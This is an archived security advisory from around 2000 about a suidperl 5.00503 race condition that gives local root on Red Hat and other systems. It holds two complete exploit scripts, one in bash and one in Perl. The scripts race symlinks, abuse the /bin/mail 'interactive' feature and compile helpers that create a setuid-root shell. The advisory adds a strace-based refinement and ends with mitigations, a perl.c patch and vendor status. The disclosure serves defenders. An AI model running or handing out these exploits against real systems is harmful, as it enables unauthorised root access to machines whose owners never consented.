Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Linux :: Red Hat/Fedora :: sperl1~1.txt

suid perl instant root on Red Hat


    suid perl


    sperl 5.00503 (and newer)


    Michal Zalewski found following.  Not much to say ... This exploit
    gives  instant  root,  at  least  on  RedHat  6.x/7.0  Linux boxes
    available  for  tests...  And  for  sure,  all  other  systems are
    vulnerable as  well -  it's just  maybe this  code will  need some
    refining / tuning / minor changes...

    Below you'll find brief  description of vulnerability and  exploit
    itself, written  by me.   Please note  - Michal  didn't  developed
    everything  by  himself,  he  got  great  support  from  Sebastian
    Krahmer - see development history.

    This explouit  requires: +s  perl; bash,  gcc, make,  usleep (yup,
    usleep; it's not available on  every system, but if you  have time
    you can rewrite it in C).

    Development history of this exploit is really funny.  Michal found
    this condition about 4 months  ago, but thought it's useless.   He
    deleted my test code and didn't left any notes on it.  Then, month
    after this discovery, Sebastian contacted him.  He was working  on
    perl exploit.   He told  Michal he  don't know  how to  cause this
    condition to happen, but  if only he realise  how it can be  done,
    he'll be able to use undocumented /bin/mail feature; environmental
    variable  'interactive',  which,  if  set,  causes  /bin/mail   to
    interpret ~!   commands (subshell requests)  even if stdin  is not
    on terminal.  Michal spent next month (yes! no kidding!) trying to
    recall WHAT THE FSCK was the condition.

    This exploit  tries to  fit in  rather short,  but reasonable time
    window  in  order  to  exploit  bug.   It  was tested on fast, not
    overloaded Linux box, and guess is that on slow machines it  needs
    tunning.  It needs anything setuid (/usr/bin/passwd is just fine),
    writable  working  directory  and  something  around  4   minutes.
    Working  directory  should  be  mounted  without  noexec or nosuid
    options (if so, find something like /var/lib/svgalib etc).

    WARNING: On slow machines,  it's quite possible this  exploit will
    cause heavy load.   Please test it  when system is  not overloaded
    and not used (eg. at night).

    Now, more info regarding the trick.
    a) If  you'll try  to fool  perl, forcing  it to  execute one file
       instead  of  another  (quite  complicated  condition,  refer to
       source code), it generates such mail to administrator:

        From: Bastard Operator <>

       User 500 tried to  run dev 769 ino  343180 in place of  dev 769
       ino 343183!   (Filename of set-id  script was /some/thing,  uid
       500 gid 500.)

       It is sent using /bin/mail root call with environment preserved

       This condition is  quite easy to  reach - my  code is extermely
       ugly and slow (it's written in bash), so it requires reasonably
       fast machine (like pII/pIII x86  box). It can be optimized,  of

    b) below you'll find script name, taken from argv[1].

    c) /bin/mail has  undocumented feature; if  interactive=something,
       it  will  interpret  ~!  sequence  even  if  not running on the
       terminal; it is not safe to use /bin/mail at privledged level.

    Three things,  combined, allows  you to  execute command  using ~!
    passed in script name.  This command creates suid shell.

    The code:


    # Wonderful, lovely, world-smashing, exciting perl exploit. It works against
    # +s suidperl, exploiting undocumented /bin/mail feature when perl wants to
    # notify root on inode race conditions. Currently, tested under RH Linux.
    # What's probably most shocking, buggy code has following comment inside:
    # /* heh, heh */. I guess author wasn't laughning last.
    # I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered it
    # - I think I can say it without shame), and especially thank to several of
    # my braincells that survived monitor radiation and made me recall this
    # race condition.
    # Send comments, ideas and flames to <>
    # Tested with sperl 5.00503, but should work with any other as well.
    # Good luck and don't abuse it.


    echo "Suidperl 5.00503 (and newer) root exploit"
    echo "-----------------------------------------"
    echo "Written by Michal Zalewski <>"
    echo "With great respect to Sebastian Krahmer..."


    echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."

    if [ ! -u $SUIDPERL ]; then
      echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
      echo "    does not exist at all. If there's +s perl binary available,"
      echo "    please change SUIDPERL variable within exploit code."
      exit 0

    if [ ! -u $SUIDBIN ]; then
      echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at"
      echo "    all. Please pick any other +s binary and change SUIDBIN variable"
      echo "    within exploit code."
      exit 0

    echo "[+] Checks passed, compiling flares and helper applications..."

    cat >flare <<__eof__

    print "Nothing can stop me now...\n";


    cat >bighole.c <<__eof__
    main() {

    cat >sush.c <<__eof__
    main() {

    make bighole sush


    if [ ! -x ./sush ]; then
      echo "[-] Oops, seems to me I cannot compile helper applications. Either"
      echo "    you don't have working 'make' or 'gcc' utility. If possible,"
      echo "    please compile bighole.c and sush.c manually (to bighole and sush)."
      exit 0

    echo "[+] Setting up environment..."

    chmod 4755 ./flare



    export interactive=1

    echo "[+] Starting exploit. It could take up to 5 minutes in order to get"
    echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause"
    echo "[+] heavy system load."

    while :; do
      ( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null &
      ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
      if [ -u ./sush ]; then
        echo "[+] VOILA, BABE :-) Entering rootshell..."
        rm -f "$FILENAME" sush.c bighole bighole.c flare
        echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
        rm -f "$FILENAME" sush.c bighole bighole.c flare sush
        exit 0

    There  are  some  interesting  points  regarding such (pseudo)race
    conditions.   Lets  have  a  look  at  a  fragment  of   "suidperl
    ./filename" strace output (by Nergal):

        open("./filename", O_RDONLY)            = 6
        fcntl(6, F_SETFD, FD_CLOEXEC)           = 0
        fstat(6, {st_mode=S_IFREG|S_ISUID|0755, st_size=51, ...}) = 0
        setreuid(0, 500)                        = 0
        getuid()                                = 0
        geteuid()                               = 500
        stat("./filename", {st_mode=S_IFREG|S_ISUID|0755, st_size=51, ...}) = 0

    Our exploit will succeed, if a context switch happens between open
    and stat syscalls.   The probability is  small, but of  course its
    enough if we launch perl sufficient  number of times.  How can  we
    improve our chances?

    Everybody uses nice(1) in scripts exploiting race conditions.   On
    linux a niced process receives as large time quantum to execute as
    other processes, only less often.  So, the probability of the time
    slice to end between "open" and "stat" remains the same.

    How about making "open" syscall consume all available time quantum
    (or yield context)?  For instance, one can put "./filename" on NFS
    mounted filesystem, this should be  enough.  But its even  easier.
    Lets  make  a  script  name  (or,  more precisely, a symlink which
    script  name  will  point  to)  contain  a lot of path components,
    symlinks etc.  The following script

        mkdir d
        cd d
        DOT=`perl -e 'print "../d/"x200'`
        ln -s $DOT/2 1
        ln -s $DOT/3 2
        ln -s $DOT/4 3
        ln -s $DOT   4
        ONES=`perl -e 'print "1/"x500'`
        ln -s `which passwd` passwd
        ln -s $ONES/passwd ourlink

    creats "ourlink"  symlink.   Resolved, it  would have  400000 path
    components.  On my  PC, stat("ourlink",&statbuf) call takes  about
    0.48  (!)  seconds  to  execute  (to  compare,  a stat on a simple
    symlink  takes  about  1/230000  s).   So,  in lcamtuf/sebastian's
    script,  initially  we  need  to  point  $FILENAME not directly at
    $SUIDBIN, but at "ourlink".

    One more gotcha, we can't use standard rm and ln commands, as they
    insist  on  stat-ing  the  file  to be removed (therefore, they're
    slow).  So, instead of ln  -sf, we must create a C  program, which
    does simply unlink($FILENAME);symlink("something",$FILENAME);

    Sebastian appended his version of  the exploit, which is based  on
    Michal's  but  doesnt  require  usleep  nor  a  second setuid root
    program.  Should work on BSD too.  However only tested on linux.


    # In spring 2000 i got a pointer from Dave Dittrich that my own perl-script
    # that i used for my EoE IDS used /bin/mail in an insecure way. However,
    # Dave told me that it is propably not exploitable. Some month later
    # i noticed that suidperl uses the same way to log intrusion-attempts.
    # I patched perl.c so that i could test the vuln without the race. After some
    # hard nights i found, that it was possible. The thing that made the exploit possible
    # was mail's hidden feature 'interactive'. I contacted some friends and
    # we all agreed that the exploit wouldn't be the easiest. However, after contacting
    # Michal too, he showed that we have been wrong. :)
    # Michal wrote the first exploit (shell-script) but it failed on my BSD box.
    # So i ported it to perl.
    # The warnings also apply to this program. FOR EDUCATIONAL PURPOSES ONLY!!!
    # Greetings as usual: You all know who you are :))
    # S.

    sub REAPER
            while (waitpid(-1, WNOHANG) > 0) {

    $SIG{CHLD} = \&REAPER;

    print "\n\nSuidperl 5.00503 (and newer) root exploit\n".
          "Bugdiscovery & Exploit by Sebastian Krahmer <krahmer\>\n".
          "With [even greater] respect to Michal Zalewski, who wrote the first exploit!\n\n";

    $suidperl = `which suidperl`;

    if ((stat($suidperl))[2] & 04000 != 04000) {
            print "No +s suidperl found.\n Aborting.\n";

    print "Your choice is $suidperl\n";

    print "When you need to quit this program, just type\n".
          "'killall -9' on a second console.\n\n";

    open O, ">flare1" or die "$!";
    print O<<_EOF_;

    print "I know!\n";

    close O;

    open O, ">flare2" or die "$!";
    print O<<_EOF_;

    print "I know!";

    close O;

    open O,">littlehole.c" or die "$!";
    print O<<_EOF_;
    int main()
            chown("boomsh", 0, 0);
            chmod("boomsh", 06755);
            return 0;
    close O;

    open O, ">boomsh.c" or die "$!";
    print O<<_EOF_;
    int main()
            return 0;

    close O;

    chmod 04700, "flare1" or die "$!";
    chmod 04700, "flare2" or die "$!";

    `cc -o boomsh boomsh.c`;
    `cc -o littlehole littlehole.c`;

    print "OK. All pre-race stuff done. Starting race ...\n".
          "Please be patient. It can take some minutes.\n".
          "You can safely ignore error-messages like 'No such file ...'\n";

    $filename = 'foo



    $ENV{PATH}.= ":.";

    $p = $$;



    # maybe comment this out if box is slow

    # the idea is simple (hey, i dont know why i didn't got this
    # idea before Michal! :)
    # We just fork off some suidperls with 2 different
    # inputfiles. Then the bruting change of symlinks will
    # hopefully hit on of the suidperl's race.
    # chances are good.
    while (((stat("boomsh"))[2] & 04000) != 04000) {
                    symlink("/tmp/flare1", $filename);

                    system("nice -20 \"$filename\">/dev/null &");

                    symlink("/tmp/flare2", $filename);

                    system("nice -20 \"$filename\">/dev/null &");

    print "OK. /tmp/boomsh is setuid root!\n";

    # the first one wins the prize :)
    if ($p != $$) {


    If You symlink /bin/mail  --> /usr/bin/mail and modify  the script
    so that boomsh calls /bin/sh, this exploit does work with  FreeBSD


    A solution?   If you  don't use  perl, delete  the suidperl binary
    typically found in /usr/bin. If you do use perl, chmod -s suidperl
    whereever it is  residing, but only  if you don't  use any of  the
    functionality provided  by suidperl  - don't  want to  go breaking
    those scripts on mission critical servers.

    Or - install the OpenWall patches from if  you're
    running  Linux  -  however  please  note that this theory requires
    further testing before.

    That  fix,  which  just  crudely  dykes  out the /bin/mail code is
    available at

    or, if you're desperate, here:

    --- perl.c~     Sun Aug  6 22:08:32 2000
    +++ perl.c      Sun Aug  6 22:10:13 2000
    @@ -2851,6 +2851,7 @@
                if (tmpstatbuf.st_dev != PL_statbuf.st_dev ||
                    tmpstatbuf.st_ino != PL_statbuf.st_ino) {
                    if (PL_rsfp = PerlProc_popen("/bin/mail root","w")) {   /* heh, heh */
     "User %"Uid_t_f" tried to run dev %ld ino %ld in place of dev %ld ino %ld!\n\
    @@ -2860,7 +2861,8 @@
                            PL_statbuf.st_uid, PL_statbuf.st_gid);
    -               }
    +               }
                    Perl_croak(aTHX_ "Permission denied\n");
                if (

    FreeBSD 4.0 isn't  vulnerable (for a  few reasons).   The First is
    the same as Debian:  suidperl calls /bin/mail (it's hardcoded) and
    FreeBSD uses /usr/bin/mail.  Also, there is no /bin/bash.  If  you
    install  the  bash  package,  it's  /usr/local/bin/bash.   If  You
    symlink /bin/mail --> /usr/bin/mail and modify the script so  that
    boomsh calls /bin/sh, this exploit does work with FreeBSD 4.0.

    Debian again proves to be highly security-aware: it does not  even
    have a  /bin/mail and  is thus  safe from  this very  attack.   Of
    course, using /usr/bin/mail works fine, so any applications  where
    /bin/mail was not hardcoded would  be affected.  mailx is  a often
    used by  other programs  to send  email.   Unfortunately mailx  as
    distributed in Debian  GNU/Linux 2.1 has  some features that  made
    it  possible  to  execute  system  commands  if a user can trick a
    privileged program to  send email using  /usr/bin/mail.  This  has
    been fixed  in version  8.1.1-10.1.1slink.2 by  no longer allowing
    all configuration options to be set using the environment:

    For Linux Mandrake:


    For RedHat:

    For Caldera Systems:

    - OpenLinux Desktop 2.3 is not vulnerable
    - OpenLinux eServer 2.3 and OpenLinux eBuilder for ECential 3.0
    - OpenLinux eDesktop 2.4

    For TurboLinux:

    OpenBSD  2.7  release  is  not  vulnerable because they don't have
    suidperl by default  (that whole secure  by default policy  of not
    having stuff  unless you  need it,  since non-setuid  perl is fine
    for most).

    For SuSE:

    Conectiva Linux:

    For Trustix:

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH